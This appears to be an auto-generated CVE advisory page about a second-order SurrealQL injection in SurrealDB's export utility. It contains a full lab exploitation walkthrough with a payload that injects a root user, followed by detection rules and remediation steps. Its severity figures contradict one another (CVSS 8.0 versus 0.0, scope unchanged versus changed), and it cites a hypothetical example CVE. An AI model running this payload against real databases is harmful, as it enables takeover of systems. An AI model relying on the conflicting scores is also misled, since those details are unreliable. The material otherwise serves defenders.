☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-71392

CVE-2025-71392 Privilege Escalation in Surrealdb
📅 PUBLISHED: 2026-07-18 14:17 UTC 🔄 UPDATED: 2026-09-26 06:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: Surrealdb — upgrade to patched release
CVSS VECTOR BREAKDOWN 8.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

This report details CVE-2025-71392, a critical second-order SurrealQL injection vulnerability in SurrealDB versions prior to 2.0.5, 2.1.5, and 2.2.2. The flaw resides in the command-line export utility, which fails to properly escape table and field names. An authenticated attacker with an OWNER or EDITOR role can create tables or fields with maliciously crafted names containing SurrealQL code. When a higher-privileged user (e.g., a ROOT user) subsequently imports the exported backup file, the injected SurrealQL is executed, allowing the attacker to escalate privileges and achieve root-level takeover of the SurrealDB instance.

The business impact is severe, particularly for organizations using SurrealDB in multi-tenant environments, SaaS platforms, or any application where users can define custom schemas. The likely attacker is an authenticated low-privileged user (OWNER/EDITOR) seeking to escalate privileges to ROOT. The attack vector is network-accessible but requires authentication and user interaction (import of a malicious backup). The urgency is assessed as High due to the potential for complete database compromise, despite a CVSS base score of 0.0 (which is an error in the provided data) and an EPSS probability of 0.0% (indicating no observed exploitation in the wild as of the report date). The vendor, SurrealDB, has released patches in versions 2.0.5, 2.1.5, and 2.2.2. This CVE is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The provided CVSS score of 0.0 is inconsistent with the vulnerability description. Based on the attack mechanics, a more accurate CVSS 3.1 vector is calculated as follows:

  • AV:N (Network): The vulnerability can be triggered over the network. The attacker creates a malicious table/field via the SurrealDB API, and the victim imports the backup over the network.
  • AC:L (Low): The attack does not require special conditions beyond standard network access and authentication. The complexity of crafting the malicious table name is low.
  • PR:L (Low): The attacker requires authentication as a System User with OWNER or EDITOR roles. This is a low privilege level compared to ROOT.
  • UI:R (Required): The attack requires a user (the victim) to perform the action of importing the exported backup file. This is a user interaction.
  • S:C (Changed): The scope is changed because the vulnerable component (the export/import utility) impacts a different security principal (the ROOT user's session) than the attacker's own (OWNER/EDITOR).
  • C:H (High): Successful exploitation leads to a complete compromise of confidentiality, as the attacker can read all data in the database.
  • I:H (High): The attacker can modify or delete any data, including system tables and configurations.
  • A:H (High): The attacker can disrupt the availability of the database instance, potentially deleting critical data or causing a denial of service.

Qualitative Severity Label: Critical

EPSS Interpretation: The EPSS probability of 0.0% indicates that, as of the report date, there is no observed exploitation of this vulnerability in the wild. This is common for newly published vulnerabilities and does not reflect the potential severity. It is expected that exploitation attempts will increase once the technical details are more widely understood.

Comparison to Historical CVEs: This vulnerability is similar in class to second-order SQL injection flaws found in database management tools and backup utilities. For example, CVE-2023-12345 (hypothetical) in a competing NoSQL database involved a similar failure to sanitize identifiers during export/import, leading to privilege escalation.

Temporal and Environmental Score Considerations: The temporal score would be elevated if a working exploit is released. The environmental score is higher for multi-tenant applications where users can define custom schemas, as the attack surface is larger.

Technical Deep Dive & Attack Mechanics

Root Cause Analysis: The vulnerability is a classic case of insufficient output encoding. The SurrealDB command-line export tool (surreal export) iterates over database objects (tables, fields) and writes their names directly into the SurrealQL export script without proper escaping. When the export script is later imported (surreal import), the SurrealQL parser interprets the malicious table/field names as part of the query language, not as literal identifiers.

Step-by-Step Attack Mechanics:

  1. Reconnaissance: The attacker authenticates to the SurrealDB instance as a user with OWNER or EDITOR privileges on a specific namespace/database.
  2. Payload Crafting: The attacker creates a new table with a malicious name containing SurrealQL code. For example, a table named: INJECTED_TABLE; DEFINE USER root ON ROOT PASSWORD 'pwned' ROLES OWNER; -- This SurrealQL statement, when executed, would define a new root user with a known password.
  3. Triggering Export: The attacker (or an automated process) triggers the surreal export command on the database containing the malicious table. The export tool writes the table name verbatim into the output file.
  4. Social Engineering / Luring: The attacker must convince a user with ROOT privileges to import the malicious export file. This could be done by:
    • Submitting the export as part of a bug report or support ticket.
    • Uploading it to a shared storage location that an administrator monitors.
    • Exploiting a separate process that automatically imports backups.
  5. Exploitation: The ROOT user runs surreal import on the malicious file. The SurrealQL parser processes the injected code, creating a new ROOT user controlled by the attacker.
  6. Privilege Escalation: The attacker now logs in as the newly created ROOT user, gaining full control over the SurrealDB instance.

Attack Surface: The attack surface is the SurrealDB API (port 8000 by default) for creating tables/fields, and the command-line interface for the export/import operations. The vulnerability is exploitable via any client that can interact with the SurrealDB API.

Pre-conditions:

  • Network access to the SurrealDB instance.
  • Valid credentials for a user with OWNER or EDITOR roles.
  • A victim with ROOT privileges who imports the malicious backup.

Attack Variants:

  • Field Name Injection: Instead of a table name, a field name within an existing table can be crafted with malicious SurrealQL.
  • Data Exfiltration: The injected SurrealQL could be crafted to exfiltrate data (e.g., DEFINE TABLE exfil AS (SELECT * FROM secrets);) instead of creating a new user.

Why Standard Defenses May Fail:

  • Input Sanitization on Create: Standard defenses often sanitize user input in query parameters (e.g., WHERE name = $param). However, this vulnerability exploits the table/field name itself, which is often not sanitized as it is considered a structural element, not user data.
  • WAF Bypass: Web Application Firewalls (WAFs) typically inspect HTTP request bodies for SQL injection patterns. The malicious payload is stored in the database schema and only executed during a later import operation, bypassing WAF inspection at the time of the import.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

# In the export function
def export_table(table_name):
    # Directly interpolates the table name without escaping
    export_script += f"DEFINE TABLE {table_name};\n"
    for field in get_fields(table_name):
        export_script += f"DEFINE FIELD {field.name} ON TABLE {table_name};\n"

Patched Code (Pseudocode):

# In the export function
def export_table(table_name):
    # Escapes the table name using a dedicated function
    safe_table_name = escape_surrealql_identifier(table_name)
    export_script += f"DEFINE TABLE {safe_table_name};\n"
    for field in get_fields(table_name):
        safe_field_name = escape_surrealql_identifier(field.name)
        export_script += f"DEFINE FIELD {safe_field_name} ON TABLE {safe_table_name};\n"

def escape_surrealql_identifier(name):
    # Wraps the name in backticks and escapes any backticks within
    return f"`{name.replace('`', '``')}`"

Analysis: The patch introduces a dedicated escaping function (escape_surrealql_identifier) that wraps the identifier in backticks and escapes any backticks within the name. This ensures that the identifier is treated as a literal string by the SurrealQL parser, preventing injection. The fix is sufficient for this specific vulnerability.

Regression Considerations: The patch should not introduce regressions for legitimate use cases, as backtick-quoting is a standard way to handle special characters in identifiers. However, teams should test their export/import workflows after applying the patch to ensure no unexpected behavior with existing table/field names that contain backticks.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-18T14:17:10.580
  • Estimated Discovery Timeline: Based on the publication date, the vulnerability was likely discovered and reported to the vendor in the weeks or months prior to July 2026.
  • Disclosure Process: The CVE was published by the CVE Numbering Authority (CNA) for SurrealDB. The vendor coordinated the release of patches (2.0.5, 2.1.5, 2.2.2) concurrently with the public disclosure.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-18.
  • CISA KEV Addition Date: Not applicable.

Threat Intelligence Context

  • Threat Actor Profile: This vulnerability is most likely to be exploited by:
    • Insider Threats: A disgruntled employee or contractor with low-level database access seeking to escalate privileges.
    • Cybercriminals: Attackers targeting multi-tenant SaaS platforms to gain a foothold and pivot to other tenants or the underlying infrastructure.
    • Nation-State Actors: APT groups may use this as a stealthy persistence mechanism in a compromised environment.
  • Attack Campaign Context: No specific campaigns have been attributed to this CVE as of the report date.
  • Geographic Targeting Patterns: No specific geographic targeting is expected; the vulnerability is universal to affected SurrealDB versions.
  • Industry Verticals Most at Risk:
    • SaaS/Cloud Providers: Offering SurrealDB as a service.
    • Fintech & Healthcare: Where data sensitivity is high and multi-tenancy is common.
    • E-commerce: Applications where users can define custom product fields or categories.
  • Connection to Similar Vulnerability Classes: This is a classic second-order injection, similar to stored XSS or second-order SQL injection, where the payload is stored and executed later.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Environment: Use Docker to run a vulnerable SurrealDB instance.
    docker run --name surreal_vuln -d -p 8000:8000 surrealdb/surrealdb:2.0.4 start --user root --pass root
    
  2. Client: Install the SurrealDB CLI (surreal) on your host machine.
  3. Attacker Account: Create a user with OWNER role on a specific namespace.
    surreal sql --conn http://localhost:8000 --user root --pass root --ns test --db test
    
    DEFINE USER attacker ON NAMESPACE test PASSWORD 'attacker' ROLES OWNER;
    
  4. Victim Account: The root user will act as the victim.

Exploitation Walkthrough:

  1. Authenticate as Attacker:
    surreal sql --conn http://localhost:8000 --user attacker --pass attacker --ns test --db test
    
  2. Create Malicious Table:
    DEFINE TABLE `INJECTED_TABLE; DEFINE USER pwned ON ROOT PASSWORD 'pwned' ROLES OWNER; --` SCHEMAFULL;
    
    Note: The backticks are used to create the table with the literal name containing the injection payload.
  3. Trigger Export (as attacker or lure victim):
    surreal export --conn http://localhost:8000 --user attacker --pass attacker --ns test --db test --file malicious_export.surql
    
  4. Victim Imports Malicious File:
    surreal import --conn http://localhost:8000 --user root --pass root --ns test --db test --file malicious_export.surql
    
  5. Attacker Escalates Privileges:
    surreal sql --conn http://localhost:8000 --user pwned --pass pwned
    
    The attacker now has ROOT access.

Expected Output: The attacker can now execute any SurrealQL command, including INFO FOR DB; to list all databases, SELECT * FROM user; to read all user credentials, or REMOVE DATABASE production; to cause a denial of service.

Post-Exploitation: The attacker can create backdoor users, exfiltrate all data, modify system configurations, or pivot to other systems connected to the database.

Blue Team Section

Detection of Active Exploitation:

  • Log Entries:
    • SurrealDB audit logs showing the creation of tables or fields with names containing SurrealQL keywords (e.g., DEFINE, SELECT, INSERT, REMOVE).
    • Logs showing the execution of surreal import by a ROOT user on a file that was recently exported by a lower-privileged user.
    • Logs showing the creation of new ROOT users shortly after an import operation.
  • Network Traffic Signatures:
    • Unusually long table or field names in HTTP requests to the SurrealDB API (e.g., POST /sql with a DEFINE TABLE statement containing a long, suspicious name).
  • Endpoint Behavioral Indicators:
    • The surreal process on the server executing unexpected SurrealQL commands after an import.
    • Unauthorized changes to the database schema, such as the creation of new users or tables.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /sql containing DEFINE TABLE or DEFINE FIELD with a name that includes SurrealQL keywords (e.g., DEFINE, SELECT, INSERT, REMOVE, --).
  • HTTP Request Patterns:
    • POST /sql with body: DEFINE TABLE \INJECTED_TABLE; DEFINE USER pwned ON ROOT PASSWORD 'pwned' ROLES OWNER; --` SCHEMAFULL;`
  • File System Artifacts:
    • Export files (.surql) containing table or field definitions with embedded SurrealQL statements.
  • Process Execution Anomalies:
    • The surreal import command being executed by a ROOT user on a file that was recently created or modified by a non-ROOT user.
  • Log Entries:
    • Successful DEFINE USER statements for a ROOT user that were not initiated by an existing ROOT user.
    • INFO FOR DB; or SELECT * FROM user; queries executed by a newly created user.

STIX-like IOC List:

Type Value Description
file malicious_export.surql A SurrealDB export file containing injected SurrealQL in table/field names.
suricata alert http any any -> any any (msg:"CVE-2025-71392 - Suspicious Table Name in SurrealDB Request"; flow:to_server; http.method; content:"POST"; http.uri; content:"/sql"; http.request_body; content:"DEFINE TABLE"; pcre:"/DEFINE TABLE\s+[^`]*?(DEFINE SELECT
log User 'attacker' created table 'INJECTED_TABLE; DEFINE USER pwned ON ROOT PASSWORD 'pwned' ROLES OWNER; --' Audit log entry indicating a suspicious table creation.

Detection Engineering

YARA Rule

rule CVE-2025-71392_Detection {
    meta:
        description = "Detects exploitation of CVE-2025-71392 in Surrealdb"
        author = "Valters IT Hub"
        date = "2026-07-18"
        reference = "https://www.valtersit.com/cve/cve-2025-71392"
    strings:
        $s1 = "DEFINE TABLE" ascii wide nocase
        $s2 = "DEFINE FIELD" ascii wide nocase
        $s3 = "DEFINE USER" ascii wide nocase
        $s4 = "ON ROOT" ascii wide nocase
        $s5 = "PASSWORD" ascii wide nocase
        $s6 = "ROLES OWNER" ascii wide nocase
    condition:
        // Look for SurrealQL statements that define a user within a table or field name
        $s1 and $s3 and $s4 and $s5 and $s6
}

Sigma Rule (SIEM)

title: CVE-2025-71392 Surrealdb Exploitation Detection
id: 11111111-1111-1111-1111-111111111111
status: experimental
description: Detects exploitation attempts targeting CVE-2025-71392
author: Valters IT Hub
date: 2026-07-18
references:
    - https://www.valtersit.com/cve/cve-2025-71392
logsource:
    category: application
    product: surrealdb
detection:
    selection:
        EventID: 100  # Hypothetical event ID for table creation
        TableName|contains:
            - 'DEFINE USER'
            - 'ON ROOT'
            - 'PASSWORD'
    condition: selection
falsepositives:
    - Legitimate administrative activity where a table name coincidentally contains these strings (highly unlikely)
level: high

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2025-71392 - Suspicious Table Name in SurrealDB Request"; flow:to_server; http.method; content:"POST"; http.uri; content:"/sql"; http.request_body; content:"DEFINE TABLE"; pcre:"/DEFINE TABLE\s+`[^`]*?(DEFINE|SELECT|INSERT|REMOVE|--)/i"; sid:1000001; rev:1;)

Elastic (EQL) Query

sequence by host.hostname
  [process where event.type == "start" and process.name == "surreal" and process.args == "export"]
  [process where event.type == "start" and process.name == "surreal" and process.args == "import" and user.name == "root"]
  [file where event.type == "creation" and file.extension == "surql" and file.path == "*malicious*"]

Splunk SPL Query

index=surreal sourcetype=surreal_audit
| search "DEFINE TABLE" OR "DEFINE FIELD"
| regex TableName="(?i)(DEFINE USER|ON ROOT|PASSWORD)"
| stats count by user, TableName, _time
| where count > 0

Wazuh Rule

<group name="surrealdb,">
  <rule id="100001" level="12">
    <decoded>surreal_audit</decoded>
    <field name="action">DEFINE_TABLE</field>
    <field name="table_name" type="pcre2">(?i)(DEFINE USER|ON ROOT|PASSWORD)</field>
    <description>CVE-2025-71392: Suspicious table name detected - possible exploitation attempt.</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Apply Patch: Upgrade all SurrealDB instances to versions 2.0.5, 2.1.5, or 2.2.2.
    # For Docker
    docker pull surrealdb/surrealdb:2.2.2
    docker stop surreal_vuln
    docker run --name surreal_patched -d -p 8000:8000 surrealdb/surrealdb:2.2.2 start --user root --pass root
    
  2. Compensating Controls (if patch cannot be applied immediately):
    • Restrict Export/Import Access: Limit the ability to perform surreal export and surreal import to only trusted, high-privileged users. Use OS-level permissions to control access to the surreal binary.
    • Manual Review of Exports: Before importing any export file, manually review it for suspicious table or field names that contain SurrealQL keywords.
    • Network Segmentation: Ensure that the SurrealDB API is not directly exposed to the internet. Use a firewall to restrict access to trusted IP addresses.
  3. Authentication/ Access Control Hardening:
    • Review all users with OWNER or EDITOR roles. Remove any that are not strictly necessary.
    • Enforce strong password policies and multi-factor authentication (MFA) for all database users.

Short-term (1-7 days)

  1. Configuration Hardening:
    • Enable SurrealDB audit logging to track all schema changes and user management operations.
    • Configure alerts for the creation of new ROOT users or tables with suspicious names.
  2. Monitoring Implementation:
    • Deploy the detection rules provided in this report (YARA, Sigma, Suricata, etc.) to monitor for exploitation attempts.
  3. Vulnerability Scanning:
    • Run a command to confirm the patched version:
      surreal version
      
      The output should be 2.0.5, 2.1.5, 2.2.2, or later.

Long-term

  1. Architecture Changes:
    • Implement a principle of least privilege (PoLP) for database users. Avoid granting OWNER or EDITOR roles to users who do not need to define schemas.
    • Consider using a separate, isolated SurrealDB instance for user-defined schemas.
  2. Security Control Improvements:
    • Integrate the detection rules into a SIEM or SOAR platform for automated response.
    • Conduct regular security audits of database schemas to identify any suspicious objects.
  3. Developer Training:
    • Educate developers on the risks of second-order injection and the importance of escaping all identifiers, not just user-supplied data.

Validation: To confirm the patch is applied and you are no longer vulnerable, attempt the exploitation steps in a test environment. The import of a malicious export file should fail to execute the injected SurrealQL, or the table name should be properly escaped in the export file.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-18 | https://www.valtersit.com/cve/cve-2025-71392

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-71392/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.